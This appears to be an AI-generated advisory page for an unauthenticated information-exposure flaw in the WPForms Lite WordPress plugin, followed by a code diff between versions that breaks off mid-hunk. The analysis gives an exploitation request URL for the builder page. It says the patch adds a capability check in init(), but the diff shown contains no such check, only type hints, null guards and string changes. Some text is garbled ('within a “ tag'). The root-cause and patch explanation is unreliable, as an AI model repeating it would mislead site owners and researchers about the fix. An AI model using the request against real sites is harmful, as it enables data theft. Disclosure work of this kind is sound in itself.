Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-25339: WPForms – Easy Form Builder for WordPress – Contact Forms, Payment Forms, Surveys, & More <= 1.9.8.7 – Unauthenticated Sensitive Information Exposure (wpforms-lite)

Plugin wpforms-lite
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 1.9.8.7
Patched Version 1.9.9.2
Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25339:
The vulnerability is an unauthenticated sensitive information exposure in the WPForms plugin for WordPress, affecting versions up to and including 1.9.8.7. The flaw allows attackers to extract sensitive user and configuration data without requiring authentication.

The root cause is insufficient access control in the form builder initialization process. The `init()` method in `/wpforms-lite/includes/admin/builder/class-builder.php` loads form data and prepares localized strings for the builder interface without verifying the user has proper administrative privileges. Specifically, the method checks if the current page is the builder via `wpforms_is_admin_page(‘builder’)` but does not validate user capabilities before fetching form data and exposing it through the localized JavaScript variables. The `get_localized_strings()` method, called from `enqueues()`, includes sensitive form data and configuration details that are then embedded in the page source.

Exploitation involves directly accessing the form builder interface without authentication. An attacker can craft a request to `/wp-admin/admin.php?page=wpforms-builder&view=fields&form_id={target_form_id}`. The plugin loads the builder interface and executes the vulnerable `init()` method, which fetches the specified form’s data. The `enqueues()` method then calls `get_localized_strings()`, which includes form metadata and configuration in the `wpforms_builder` JavaScript object. This data is output in the page’s HTML source within a “ tag, accessible to the attacker.

The patch addresses the vulnerability by adding proper capability checks before loading the builder interface. The critical change is in the `init()` method where it now verifies `wpforms_current_user_can(‘edit_forms_single’, $form_id)` before proceeding with form data loading. This check ensures only users with appropriate permissions can access the builder and its associated data. Additional changes include type hinting improvements and code cleanup, but the security fix centers on the added authorization check.

Successful exploitation allows attackers to extract sensitive form configuration data, including field definitions, integration settings, and potentially submitted data references. This exposure could reveal personally identifiable information (PII) stored in form configurations, payment gateway details, or other sensitive administrative settings. While the CVSS score of 5.3 indicates medium severity, the unauthenticated nature makes this particularly dangerous for sites using WPForms with sensitive data collection.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpforms-lite/includes/admin/builder/class-builder.php
+++ b/wpforms-lite/includes/admin/builder/class-builder.php
@@ -71,7 +71,7 @@
 	 *
 	 * @since 1.0.0
 	 *
-	 * @var WP_Post
+	 * @var WP_Post|null
 	 */
 	public $form;

@@ -119,7 +119,7 @@
 	 *
 	 * @since 1.0.0
 	 */
-	public function init() { // phpcs:ignore WPForms.PHP.HooksMethod.InvalidPlaceForAddingHooks, Generic.Metrics.CyclomaticComplexity.TooHigh
+	public function init(): void { // phpcs:ignore WPForms.PHP.HooksMethod.InvalidPlaceForAddingHooks, Generic.Metrics.CyclomaticComplexity.TooHigh

 		// Only load if we are actually on the builder.
 		if ( ! wpforms_is_admin_page( 'builder' ) ) {
@@ -135,11 +135,11 @@
 		}

 		if ( $form_id ) {
-			// Default view for with an existing form is fields panel.
+			// The default view for with an existing form is the fields panel.
 			$this->view = isset( $_GET['view'] ) ? sanitize_key( $_GET['view'] ) : 'fields'; // phpcs:ignore WordPress.Security.NonceVerification.Recommended

 		} else {
-			// The default view for new form is the setup panel.
+			// The default view for the new form is the setup panel.
 			$this->view = isset( $_GET['view'] ) ? sanitize_key( $_GET['view'] ) : 'setup'; // phpcs:ignore WordPress.Security.NonceVerification.Recommended

 		}
@@ -153,7 +153,8 @@
 		}

 		// Fetch form.
-		$this->form = wpforms()->obj( 'form' )->get( $form_id );
+		$form_obj   = wpforms()->obj( 'form' );
+		$this->form = $form_obj ? $form_obj->get( $form_id ) : null;

 		if ( ! empty( $form_id ) && empty( $this->form ) ) {
 			$this->abort_message = esc_html__( 'It looks like the form you are trying to access is no longer available.', 'wpforms-lite' );
@@ -175,15 +176,15 @@
 		 *
 		 * @since 1.6.8
 		 *
-		 * @param array $template Template data.
-		 * @param array $form_id  Form ID.
+		 * @param array         $template Template data.
+		 * @param WP_Post|false $form_id  Form object.
 		 */
 		$this->template = apply_filters( 'wpforms_builder_template_active', [], $this->form );

 		// Load builder panels.
 		$this->load_panels();

-		// Modify meta viewport tag if desktop view is forced.
+		// Modify meta-viewport tag if desktop view is forced.
 		add_filter( 'admin_viewport_meta', [ $this, 'viewport_meta' ] );

 		add_action( 'admin_head', [ $this, 'admin_head' ] );
@@ -217,7 +218,7 @@
 	 *
 	 * @since 1.6.8
 	 */
-	public function deregister_common_wp_admin_styles() {
+	public function deregister_common_wp_admin_styles(): void {

 		if ( ! wpforms_is_admin_page( 'builder' ) ) {
 			return;
@@ -254,7 +255,7 @@
 	 *
 	 * @since 1.8.8
 	 */
-	public function process_actions() {
+	public function process_actions(): void {

 		$form_id = isset( $_GET['form_id'] ) ? (int) $_GET['form_id'] : 0;
 		$action  = isset( $_REQUEST['action'] ) ? sanitize_key( $_REQUEST['action'] ) : false;
@@ -304,7 +305,7 @@
 	 * @param int    $form_id Form ID.
 	 * @param string $action  Action name.
 	 */
-	private function process_action( int $form_id, string $action ) {
+	private function process_action( int $form_id, string $action ): void {

 		$form_handler = wpforms()->obj( 'form' );

@@ -380,7 +381,7 @@
 	 *
 	 * @since 1.0.0
 	 */
-	public function load_panels() {
+	public function load_panels(): void {

 		// Base class and functions.
 		require_once WPFORMS_PLUGIN_DIR . 'includes/admin/builder/panels/class-base.php';
@@ -424,7 +425,7 @@
 	 *
 	 * @since 1.4.6
 	 */
-	public function admin_head() {
+	public function admin_head(): void {

 		// Force hide an admin side menu.
 		echo '<style>#adminmenumain { display: none !important }</style>';
@@ -445,7 +446,7 @@
 	 * @since 1.0.0
 	 * @since 1.6.8 All the panel's stylesheets restructured and moved here.
 	 */
-	public function enqueues() {
+	public function enqueues(): void {

 		$this->suppress_conflicts();

@@ -637,6 +638,14 @@
 		);

 		wp_enqueue_script(
+			'wpforms-oops',
+			WPFORMS_PLUGIN_URL . 'assets/lib/oops.min.js',
+			[],
+			'1.0.2',
+			false
+		);
+
+		wp_enqueue_script(
 			'wpforms-builder',
 			WPFORMS_PLUGIN_URL . "assets/js/admin/builder/admin-builder{$min}.js",
 			[
@@ -717,7 +726,7 @@
 	 *
 	 * @since 1.9.0
 	 */
-	private function suppress_conflicts() {
+	private function suppress_conflicts(): void {

 		// Remove conflicting styles (e.g., WP JobSearch plugin).
 		wp_deregister_style( 'font-awesome' );
@@ -737,6 +746,18 @@
 	 */
 	private function get_localized_strings(): array {

+		/**
+		 * It is a phpcs bug. This local variable is used below.
+		 *
+		 * @noinspection PhpUnusedLocalVariableInspection
+		 */
+		$min = wpforms_get_min_suffix();
+
+		/**
+		 * It is a phpcs bug. This local variable is used below.
+		 *
+		 * @noinspection PhpUnusedLocalVariableInspection
+		 */
 		$image_extensions = wpforms_chain( get_allowed_mime_types() )
 			->map(
 				static function ( $mime ) {
@@ -763,15 +784,17 @@
 			'date_select_month'                       => 'MM',
 			'date_select_year'                        => 'YYYY',
 			'debug'                                   => wpforms_debug(),
+			'version'                                 => WPFORMS_VERSION,
+			'content_url'                             => content_url(), // Absolute URL to wp-content directory.
 			'dynamic_choices'                         => [
-				'limit_message' => sprintf( /* translators: %1$s - data source name (e.g. Categories, Posts), %2$s - data source type (e.g. post type, taxonomy), %3$s - display limit, %4$s - total number of items. */
+				'limit_message' => sprintf( /* translators: %1$s - data source name (e.g., Categories, Posts), %2$s - data source type (e.g., post type, taxonomy), %3$s - display limit, %4$s - total number of items. */
 					esc_html__( 'The %1$s %2$s contains over %3$s items (%4$s). This may make the field difficult for your visitors to use and/or cause the form to be slow.', 'wpforms-lite' ),
 					'{source}',
 					'{type}',
 					'{limit}',
 					'{total}'
 				),
-				'empty_message' => sprintf( /* translators: %1$s - data source name (e.g. Categories, Posts), %2$s - data source type (e.g. post type, taxonomy). */
+				'empty_message' => sprintf( /* translators: %1$s - data source name (e.g., Categories, Posts), %2$s - data source type (e.g., post type, taxonomy). */
 					esc_html__( 'This field will not be displayed in your form since there are no %2$s belonging to %1$s.', 'wpforms-lite' ),
 					'{source}',
 					'{type}'
@@ -832,8 +855,15 @@
 			'exit_url'                                => wpforms_current_user_can( 'view_forms' ) ? admin_url( 'admin.php?page=wpforms-overview' ) : admin_url(),
 			'exit_confirm'                            => esc_html__( 'Your form contains unsaved changes. Would you like to save your changes first.', 'wpforms-lite' ),
 			'delete_confirm'                          => esc_html__( 'Are you sure you want to delete this field?', 'wpforms-lite' ),
+			/* translators: %s - number of fields.*/
+			'delete_confirm_multiple'                 => esc_html__( 'Are you sure you want to delete these %s fields?', 'wpforms-lite' ),
+			'delete_confirm_multiple_title'           => esc_html__( 'Delete Fields', 'wpforms-lite' ),
 			'delete_choice_confirm'                   => esc_html__( 'Are you sure you want to delete this choice?', 'wpforms-lite' ),
 			'duplicate_confirm'                       => esc_html__( 'Are you sure you want to duplicate this field?', 'wpforms-lite' ),
+			'duplicate_confirm_title'                 => esc_html__( 'Duplicate Field', 'wpforms-lite' ),
+			/* translators: %s - number of fields. */
+			'duplicate_confirm_multiple'              => esc_html__( 'Are you sure you want to duplicate these %s fields?', 'wpforms-lite' ),
+			'duplicate_confirm_multiple_title'        => esc_html__( 'Duplicate Fields', 'wpforms-lite' ),
 			'duplicate_copy'                          => esc_html__( '(copy)', 'wpforms-lite' ),
 			'error_title'                             => esc_html__( 'Please enter a form name.', 'wpforms-lite' ),
 			'error_choice'                            => esc_html__( 'This item must contain at least one choice.', 'wpforms-lite' ),
@@ -911,7 +941,7 @@
 				'{to}'
 			),
 			'form_meta'                               => $this->form_data['meta'] ?? [],
-			'scrollbars_css_url'                      => WPFORMS_PLUGIN_URL . 'assets/css/builder/builder-scrollbars.css',
+			'scrollbars_css_url'                      => WPFORMS_PLUGIN_URL . "assets/css/builder/builder-scrollbars$min.css",
 			'is_ai_disabled'                          => AIHelpers::is_disabled(),
 			'connection_label'                        => esc_html__( 'Connection', 'wpforms-lite' ),
 			'cl_reference'                            => sprintf( /* translators: %s - Integration name. */
@@ -924,7 +954,7 @@

 		$strings['disable_entries'] = sprintf(
 			wp_kses( /* translators: %s - link to the WPForms.com doc article. */
-				__( 'Disabling entry storage for this form will completely prevent any new submissions from getting saved to your site. If you still intend to keep a record of entries through notification emails, then please <a href="%s" target="_blank" rel="noopener noreferrer">test your form</a> to ensure emails send reliably.', 'wpforms-lite' ),
+				__( 'Disabling entry storage for this form will completely prevent any new submissions from getting saved to your site. If you still intend to keep a record of entries through notification emails, then please <a href="%s" target="_blank" rel="noopener noreferrer">test your form</a> to ensure emails are sent reliably.', 'wpforms-lite' ),
 				[
 					'a' => [
 						'href'   => [],
@@ -944,7 +974,7 @@

 		$strings['akismet_not_installed'] = sprintf(
 			wp_kses( /* translators: %1$s - link to the plugin search page, %2$s - link to the WPForms.com doc article. */
-				__( 'This feature cannot be used at this time because the Akismet plugin <a href="%1$s" target="_blank" rel="noopener noreferrer">has not been installed</a>. For information on how to use this feature please <a href="%2$s" target="_blank" rel="noopener noreferrer">refer to our documentation</a>.', 'wpforms-lite' ),
+				__( 'This feature cannot be used at this time because the Akismet plugin <a href="%1$s" target="_blank" rel="noopener noreferrer">has not been installed</a>. For information on how to use this feature, please <a href="%2$s" target="_blank" rel="noopener noreferrer">refer to our documentation</a>.', 'wpforms-lite' ),
 				[
 					'a' => [
 						'href'   => [],
@@ -964,8 +994,8 @@
 		);

 		$strings['akismet_not_activated'] = sprintf(
-			wp_kses( /* translators: %1$s - link to the plugins page, %2$s - link to the WPForms.com doc article. */
-				__( 'This feature cannot be used at this time because the Akismet plugin <a href="%1$s" target="_blank" rel="noopener noreferrer">has not been activated</a>. For information on how to use this feature please <a href="%2$s" target="_blank" rel="noopener noreferrer">refer to our documentation</a>.', 'wpforms-lite' ),
+			wp_kses( /* translators: %1$s - link to the plugin page, %2$s - link to the WPForms.com doc article. */
+				__( 'This feature cannot be used at this time because the Akismet plugin <a href="%1$s" target="_blank" rel="noopener noreferrer">has not been activated</a>. For information on how to use this feature, please <a href="%2$s" target="_blank" rel="noopener noreferrer">refer to our documentation</a>.', 'wpforms-lite' ),
 				[
 					'a' => [
 						'href'   => [],
@@ -986,7 +1016,7 @@

 		$strings['akismet_no_api_key'] = sprintf(
 			wp_kses( /* translators: %1$s - link to the Akismet settings page, %2$s - link to the WPForms.com doc article. */
-				__( 'This feature cannot be used at this time because the Akismet plugin <a href="%1$s" target="_blank" rel="noopener noreferrer">has not been properly configured</a>. For information on how to use this feature please <a href="%2$s" target="_blank" rel="noopener noreferrer">refer to our documentation</a>.', 'wpforms-lite' ),
+				__( 'This feature cannot be used at this time because the Akismet plugin <a href="%1$s" target="_blank" rel="noopener noreferrer">has not been properly configured</a>. For information on how to use this feature, please <a href="%2$s" target="_blank" rel="noopener noreferrer">refer to our documentation</a>.', 'wpforms-lite' ),
 				[
 					'a' => [
 						'href'   => [],
@@ -1019,6 +1049,8 @@
 			wpforms_utm_link( 'https://wpforms.com/docs/troubleshooting-403-forbidden-errors/', 'Builder - Settings', '403 Form Errors' )
 		);

+		$strings['js_modules'] = $this->get_js_modules();
+
 		/**
 		 * Form Builder localized strings filter.
 		 *
@@ -1042,11 +1074,72 @@
 	}

 	/**
+	 * Get JS modules.
+	 *
+	 * Modules become available in the browser context as `WPForms.Admin.Builder.{key}`,
+	 * for example, `WPForms.Admin.Builder.CopyPaste`.
+	 *
+	 * @since 1.9.9
+	 *
+	 * @return array List of JS modules.
+	 */
+	public function get_js_modules(): array {
+
+		$min = wpforms_get_min_suffix();
+
+		$modules = [
+			'KeyboardShortcuts'                 => "keyboard-shortcuts$min.js",
+			'UndoRedoHelpers'                   => "undo-redo/helpers$min.js",
+			'UndoRedoHelpersFields'             => "undo-redo/helpers-fields$min.js",
+			'UndoRedoInputCommandBase'          => "undo-redo/input-command-base$min.js",
+			'UndoRedoActionCommandBase'         => "undo-redo/action-command-base$min.js",
+			'UndoRedoInputSimple'               => "undo-redo/input-simple$min.js",
+			'UndoRedoInputToggle'               => "undo-redo/input-toggle$min.js",
+			'UndoRedoInputChoicesJS'            => "undo-redo/input-choicesjs$min.js",
+			'UndoRedoInputSmartTags'            => "undo-redo/input-smart-tags$min.js",
+			'UndoRedoInputCodeMirror'           => "undo-redo/input-codemirror$min.js",
+			'UndoRedoInputTinyMCE'              => "undo-redo/input-tinymce$min.js",
+			'UndoRedoChoicesList'               => "undo-redo/choices-list$min.js",
+			'UndoRedoFormThemes'                => "undo-redo/form-themes$min.js",
+			'UndoRedoDateTimePickers'           => "undo-redo/date-time-pickers$min.js",
+			'UndoRedoActionFieldAdd'            => "undo-redo/action-field-add$min.js",
+			'UndoRedoActionFieldDelete'         => "undo-redo/action-field-delete$min.js",
+			'UndoRedoActionFieldDuplicate'      => "undo-redo/action-field-duplicate$min.js",
+			'UndoRedoActionFieldMove'           => "undo-redo/action-field-move$min.js",
+			'UndoRedoActionMultiFieldDelete'    => "undo-redo/action-multi-field-delete$min.js",
+			'UndoRedoActionMultiFieldDuplicate' => "undo-redo/action-multi-field-duplicate$min.js",
+			'UndoRedoActionMultiFieldPaste'     => "undo-redo/action-multi-field-paste$min.js",
+			'UndoRedoActionSettingsBlockAdd'    => "undo-redo/action-settings-block-add$min.js",
+			'UndoRedoActionSettingsBlockDelete' => "undo-redo/action-settings-block-delete$min.js",
+			'UndoRedoActionItemsAddRemove'      => "undo-redo/action-items-add-remove$min.js",
+			'UndoRedoActionImageAddRemove'      => "undo-redo/action-image-add-remove$min.js",
+			'UndoRedo'                          => "undo-redo$min.js",
+			'MultiSelectActions'                => "multi-select/actions$min.js",
+			'MultiSelect'                       => "multi-select/multi-select$min.js",
+			'MultiSelectKeyboardShortcuts'      => "multi-select/keyboard-shortcuts$min.js",
+			'CopyPaste'                         => "copy-paste$min.js",
+		];
+
+		/**
+		 * Filters the list of Form Builder JS modules.
+		 *
+		 * Allows developers to add their own modules.
+		 * The modules are loaded asynchronously.
+		 * Custom module's path value should be absolute.
+		 *
+		 * @since 1.9.9
+		 *
+		 * @param array $modules List of JS modules.
+		 */
+		return apply_filters( 'wpforms_builder_js_modules', $modules );
+	}
+
+	/**
 	 * Footer JavaScript.
 	 *
 	 * @since 1.3.7
 	 */
-	public function footer_scripts() {
+	public function footer_scripts(): void {

 		$countries        = wpforms_countries();
 		$countries_postal = array_keys( $countries );
@@ -1084,9 +1177,9 @@

 		// phpcs:disable WPForms.Comments.ParamTagHooks.InvalidParamTagsQuantity
 		/**
-		 * Choices preset array filter.
+		 * Choice preset array filter.
 		 *
-		 * Allows developers to edit the choices preset used in all choices-based fields.
+		 * Allows developers to edit the choice preset used in all choice-based fields.
 		 *
 		 * @since 1.3.7
 		 *
@@ -1120,7 +1213,7 @@
 	 *
 	 * @since 1.0.0
 	 */
-	public function output() { // phpcs:ignore Generic.Metrics.CyclomaticComplexity.TooHigh
+	public function output(): void { // phpcs:ignore Generic.Metrics.CyclomaticComplexity.TooHigh

 		if ( $this->abort ) {
 			return;
@@ -1139,7 +1232,8 @@

 		$form_id         = $this->form ? absint( $this->form->ID ) : '';
 		$field_id        = ! empty( $this->form_data['field_id'] ) ? $this->form_data['field_id'] : '';
-		$revision        = wpforms()->obj( 'revisions' )->get_revision();
+		$revisions_obj   = wpforms()->obj( 'revisions' );
+		$revision        = $revisions_obj ? $revisions_obj->get_revision() : null;
 		$preview_url     = wpforms_get_form_preview_url( $form_id, true );
 		$allowed_caps    = [ 'edit_posts', 'edit_other_posts', 'edit_private_posts', 'edit_published_posts', 'edit_pages', 'edit_other_pages', 'edit_published_pages', 'edit_private_pages' ];
 		$can_embed       = array_filter( $allowed_caps, 'current_user_can' );
@@ -1167,7 +1261,7 @@
 		 * @since 1.7.9
 		 *
 		 * @param array      $classes   List of classes.
-		 * @param array|bool $form_data Form data and settings or false when form isn't created.
+		 * @param array|bool $form_data Form data and settings or false when the form isn't created.
 		 */
 		$builder_classes = (array) apply_filters( 'wpforms_builder_output_classes', $builder_classes, $this->form_data );

@@ -1176,7 +1270,7 @@
 		 *
 		 * @since 1.7.4
 		 *
-		 * @param string $content Content before toolbar. Defaults to empty string.
+		 * @param string $content Content before the toolbar. Defaults to empty string.
 		 */
 		$before_toolbar = apply_filters( 'wpforms_builder_output_before_toolbar', '' );
 		?>
@@ -1349,7 +1443,7 @@
 	 *
 	 * @since 1.7.3
 	 */
-	public function display_abort_message() {
+	public function display_abort_message(): void {

 		if ( ! $this->abort ) {
 			return;
@@ -1366,8 +1460,7 @@
 	}

 	/**
-	 * Change default admin meta viewport tag upon request to force scrollable
-	 * desktop view on small screens.
+	 * Change the default admin meta viewport tag upon request to force a scrollable desktop view on small screens.
 	 *
 	 * @since 1.7.8
 	 *
@@ -1419,14 +1512,16 @@
 	 */
 	private function get_context_menu_args(): array {

-		$args = [
+		$payment_obj = wpforms()->obj( 'payment' );
+		$args        = [
 			'form_id'          => $this->form->ID,
 			'is_form_template' => $this->form->post_type === 'wpforms-template',
-			'has_payments'     => wpforms()->obj( 'payment' )->get_by( 'form_id', $this->form->ID ) !== null,
+			'has_payments'     => $payment_obj && $payment_obj->get_by( 'form_id', $this->form->ID ) !== null,
 		];

 		if ( wpforms()->is_pro() ) {
-			$args['has_entries']   = wpforms()->obj( 'entry' )->get_entries( [ 'form_id' => $this->form->ID ], true ) > 0;
+			$entry_obj             = wpforms()->obj( 'entry' );
+			$args['has_entries']   = $entry_obj && $entry_obj->get_entries( [ 'form_id' => $this->form->ID ], true ) > 0;
 			$args['can_duplicate'] = $this->can_duplicate();
 		}

--- a/wpforms-lite/includes/admin/builder/panels/class-fields.php
+++ b/wpforms-lite/includes/admin/builder/panels/class-fields.php
@@ -3,6 +3,8 @@
 // phpcs:ignore Generic.Commenting.DocComment.MissingShort
 /** @noinspection AutoloadingIssuesInspection */

+use WPFormsFormsFieldsTraitsMultiFieldMenu as MultiFieldMenuTrait;
+
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
 }
@@ -14,10 +16,14 @@
  */
 class WPForms_Builder_Panel_Fields extends WPForms_Builder_Panel {

+	use MultiFieldMenuTrait;
+
 	/**
 	 * All systems go.
 	 *
 	 * @since 1.0.0
+	 *
+	 * @noinspection ReturnTypeCanBeDeclaredInspection
 	 */
 	public function init() {

@@ -48,6 +54,7 @@
 		add_action( 'wpforms_builder_fields', [ $this, 'fields' ] );
 		add_action( 'wpforms_builder_fields_options', [ $this, 'fields_options' ] );
 		add_action( 'wpforms_builder_preview', [ $this, 'preview' ] );
+		add_filter( 'wpforms_builder_strings', [ $this, 'multi_select_strings' ] );

 		// Template for form builder previews.
 		add_action( 'wpforms_builder_print_footer_scripts', [ $this, 'field_preview_templates' ] );
@@ -60,6 +67,8 @@
 	 *
 	 * @since 1.0.0
 	 * @since 1.6.8 All the builder stylesheets enqueues moved to the `WPForms_Builder::enqueues()`.
+	 *
+	 * @noinspection ReturnTypeCanBeDeclaredInspection
 	 */
 	public function enqueues() {

@@ -83,9 +92,35 @@
 	}

 	/**
+	 * Add Multi-Select Builder strings.
+	 *
+	 * @since 1.9.9
+	 *
+	 * @param array $strings Form Builder strings.
+	 *
+	 * @return array Form Builder strings.
+	 */
+	public function multi_select_strings( array $strings ): array {
+
+		$strings['multi_select'] = [
+			'repeater_tooltip'    => esc_html__( "The Repeater field can't be selected with other fields.", 'wpforms-lite' ),
+			'layout_tooltip'      => esc_html__( "The Layout field can't be selected with other fields.", 'wpforms-lite' ),
+			'general_tooltip'     => esc_html__( 'This field can’t be selected alongside Layout or Repeater fields.', 'wpforms-lite' ),
+			/* translators: %s - Cmd or Ctrl key. */
+			'copy_toast_single'   => esc_html__( 'Field copied. Use %1$s + V to paste.', 'wpforms-lite' ),
+			/* translators: %d - number of fields, %s - Cmd or Ctrl key. */
+			'copy_toast_multiple' => esc_html__( '%1$d fields copied. Use %2$s + V to paste.', 'wpforms-lite' ),
+		];
+
+		return $strings;
+	}
+
+	/**
 	 * Output the Field panel sidebar.
 	 *
 	 * @since 1.0.0
+	 *
+	 * @noinspection ReturnTypeCanBeDeclaredInspection
 	 */
 	public function panel_sidebar() {

@@ -110,7 +145,7 @@

 		</ul>

-		<div class="wpforms-add-fields wpforms-tab-content">
+		<div id="wpforms-add-fields-tab" class="wpforms-add-fields wpforms-tab-content">
 			<?php
 			/**
 			 * Fires to add fields.
@@ -142,6 +177,8 @@
 	 * Output the Field panel primary content.
 	 *
 	 * @since 1.0.0
+	 *
+	 * @noinspection ReturnTypeCanBeDeclaredInspection
 	 */
 	public function panel_content() {

@@ -149,7 +186,7 @@
 		if ( ! $this->form ) {
 			echo '<div class="wpforms-alert wpforms-alert-info">';
 			echo wp_kses(
-				__( 'You need to <a href="#" class="wpforms-panel-switch" data-panel="setup">setup your form</a> before you can manage the fields.', 'wpforms-lite' ),
+				__( 'You need to <a href="#" class="wpforms-panel-switch" data-panel="setup">set up your form</a> before you can manage the fields.', 'wpforms-lite' ),
 				[
 					'a' => [
 						'href'       => [],
@@ -316,7 +353,7 @@

 				echo '<button ' . wpforms_html_attributes( $atts['id'], $atts['class'], $atts['data'], $atts['atts'] ) . '>';
 					if ( $field['icon'] ) {
-						echo '<i class="fa ' . esc_attr( $field['icon'] ) . '"></i> ';
+					echo '<i class="fa ' . esc_attr( $field['icon'] ) . '"></i> ';
 					}
 					echo esc_html( $field['name'] );
 				echo '</button>';
@@ -479,6 +516,9 @@
 			esc_attr__( 'Delete Field', 'wpforms-lite' )
 		);

+		// Multi-field actions menu.
+		echo $this->get_multi_field_menu_html(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+
 		if ( empty( $_COOKIE['wpforms_field_helper_hide'] ) ) {
 			printf(
 				'<div class="wpforms-field-helper">
--- a/wpforms-lite/includes/admin/class-about.php
+++ b/wpforms-lite/includes/admin/class-about.php
@@ -603,7 +603,7 @@
 							<ul class="list-features list-plain">
 								<li>
 									<i class="fa fa-check" aria-hidden="true"></i>
-									<?php esc_html_e( '7000+ integrations with marketing and payment services', 'wpforms-lite' ); ?>
+									<?php esc_html_e( '9000+ integrations with marketing and payment services', 'wpforms-lite' ); ?>
 								</li>
 								<li>
 									<i class="fa fa-check" aria-hidden="true"></i>
@@ -1358,7 +1358,7 @@
 						),
 						'',
 						wp_kses(
-							__( '<strong>Bonus:</strong> 7000+ integrations with Zapier.', 'wpforms-lite' ),
+							__( '<strong>Bonus:</strong> 9000+ integrations with Zapier.', 'wpforms-lite' ),
 							[
 								'strong' => [],
 							]
@@ -1394,7 +1394,7 @@
 						),
 						'',
 						wp_kses(
-							__( '<strong>Bonus:</strong> 7000+ integrations with Zapier.', 'wpforms-lite' ),
+							__( '<strong>Bonus:</strong> 9000+ integrations with Zapier.', 'wpforms-lite' ),
 							[
 								'strong' => [],
 							]
@@ -1430,7 +1430,7 @@
 						),
 						'',
 						wp_kses(
-							__( '<strong>Bonus:</strong> 7000+ integrations with Zapier.', 'wpforms-lite' ),
+							__( '<strong>Bonus:</strong> 9000+ integrations with Zapier.', 'wpforms-lite' ),
 							[
 								'strong' => [],
 							]
@@ -1466,7 +1466,7 @@
 						),
 						'',
 						wp_kses(
-							__( '<strong>Bonus:</strong> 7000+ integrations with Zapier.', 'wpforms-lite' ),
+							__( '<strong>Bonus:</strong> 9000+ integrations with Zapier.', 'wpforms-lite' ),
 							[
 								'strong' => [],
 							]
@@ -1547,7 +1547,7 @@
 				'pro'   => [
 					'status' => 'full',
 					'text'   => [
-						'<strong>' . esc_html__( 'Create interactive Surveys and Polls with beautiful reports', 'wpforms-lite' ) . '</strong>',
+						'<strong>' . esc_html__( 'Create interactive Surveys, Polls, and Quizzes with beautiful reports', 'wpforms-lite' ) . '</strong>',
 					],
 				],
 			],
@@ -1760,7 +1760,7 @@
 			'conditionals' => esc_html__( 'Smart Conditional Logic', 'wpforms-lite' ),
 			'marketing'    => esc_html__( 'Marketing Integrations', 'wpforms-lite' ),
 			'payments'     => esc_html__( 'Payment Forms', 'wpforms-lite' ),
-			'surveys'      => esc_html__( 'Surveys & Polls', 'wpforms-lite' ),
+			'surveys'      => esc_html__( 'Surveys, Polls, and Quizzes', 'wpforms-lite' ),
 			'advanced'     => esc_html__( 'Advanced Form Features', 'wpforms-lite' ),
 			'addons'       => esc_html__( 'WPForms Addons', 'wpforms-lite' ),
 			'support'      => esc_html__( 'Customer Support', 'wpforms-lite' ),
--- a/wpforms-lite/includes/class-form.php
+++ b/wpforms-lite/includes/class-form.php
@@ -211,7 +211,7 @@
 	 * @param mixed $id   Form ID.
 	 * @param array $args Additional arguments array.
 	 *
-	 * @return array|bool|null|WP_Post
+	 * @return array|false|WP_Post
 	 */
 	public function get( $id = '', array $args = [] ) {

@@ -253,7 +253,7 @@
 	 * @param string|int $id   Form ID.
 	 * @param array      $args Additional arguments array.
 	 *
-	 * @return array|bool|null|WP_Post
+	 * @return array|false|WP_Post
 	 */
 	protected function get_single( $id = '', array $args = [] ) {

--- a/wpforms-lite/includes/class-process.php
+++ b/wpforms-lite/includes/class-process.php
@@ -813,7 +813,15 @@
 			return;
 		}

-		$this->spam_errors[ $form_id ]['footer'] = $country_filter->get_error_message( $this->form_data );
+		$error_message = $country_filter->get_error_message( $this->form_data );
+
+		if ( $this->is_block_submission_by_spam_filtering_enabled() ) {
+			$this->errors[ $form_id ]['footer'] = $error_message;
+
+			return;
+		}
+
+		$this->spam_errors[ $form_id ]['footer'] = $error_message;

 		$this->spam_reason = 'Country Filter';

@@ -846,7 +854,15 @@
 			return;
 		}

-		$this->spam_errors[ $form_id ]['footer'] = $keyword_filter->get_error_message( $this->form_data );
+		$error_message = $keyword_filter->get_error_message( $this->form_data );
+
+		if ( $this->is_block_submission_by_spam_filtering_enabled() ) {
+			$this->errors[ $form_id ]['footer'] = $error_message;
+
+			return;
+		}
+
+		$this->spam_errors[ $form_id ]['footer'] = $error_message;

 		$this->spam_reason = 'Keyword Filter';

@@ -1844,7 +1860,17 @@
 			$email['template']       = ! empty( $notification['template'] ) ? $notification['template'] : '';

 			if ( $is_carboncopy_enabled && ! empty( $notification['carboncopy'] ) ) {
-				$email['carboncopy'] = explode( ',', wpforms_process_smart_tags( $notification['carboncopy'], $form_data, $fields, $this->entry_id, 'notification-carboncopy' ) );
+				$email['carboncopy'] = explode(
+					',',
+					wpforms_process_smart_tags(
+						$notification['carboncopy'],
+						$form_data,
+						$fields,
+						$this->entry_id,
+						'notification-carboncopy',
+						[ 'to_email' => $email['address'] ]
+					)
+				);
 				$email['carboncopy'] = array_filter( array_map( 'sanitize_email', $email['carboncopy'] ) );
 			}

@@ -2234,4 +2260,23 @@

 		return $this->email_handler;
 	}
+
+	/**
+	 * Determines if blocking submissions by spam filtering is enabled.
+	 *
+	 * @since 1.9.9
+	 *
+	 * @return bool True if blocking submissions by spam filtering is enabled, false otherwise.
+	 */
+	private function is_block_submission_by_spam_filtering_enabled(): bool {
+
+		/**
+		 * Determines if blocking submissions by spam filtering should be forced.
+		 *
+		 * @since 1.9.9
+		 *
+		 * @param bool $enabled True if blocking submissions should be forced.
+		 */
+		return (bool) apply_filters( 'wpforms_process_is_block_submission_by_spam_filtering_enabled', false );
+	}
 }
--- a/wpforms-lite/includes/emails/class-emails.php
+++ b/wpforms-lite/includes/emails/class-emails.php
@@ -138,6 +138,15 @@
 	public $notification_id = '';

 	/**
+	 * Context data to be passed to the tag.
+	 *
+	 * @since 1.9.9.2
+	 *
+	 * @var array|array[]
+	 */
+	private $context_data = [];
+
+	/**
 	 * Get things going.
 	 *
 	 * @since 1.1.3
@@ -396,6 +405,8 @@
 			return false;
 		}

+		$this->context_data = [ 'to_email' => (array) $to ];
+
 		// Hooks before email is sent.
 		do_action( 'wpforms_email_send_before', $this );

@@ -424,6 +435,9 @@
 			$this
 		);

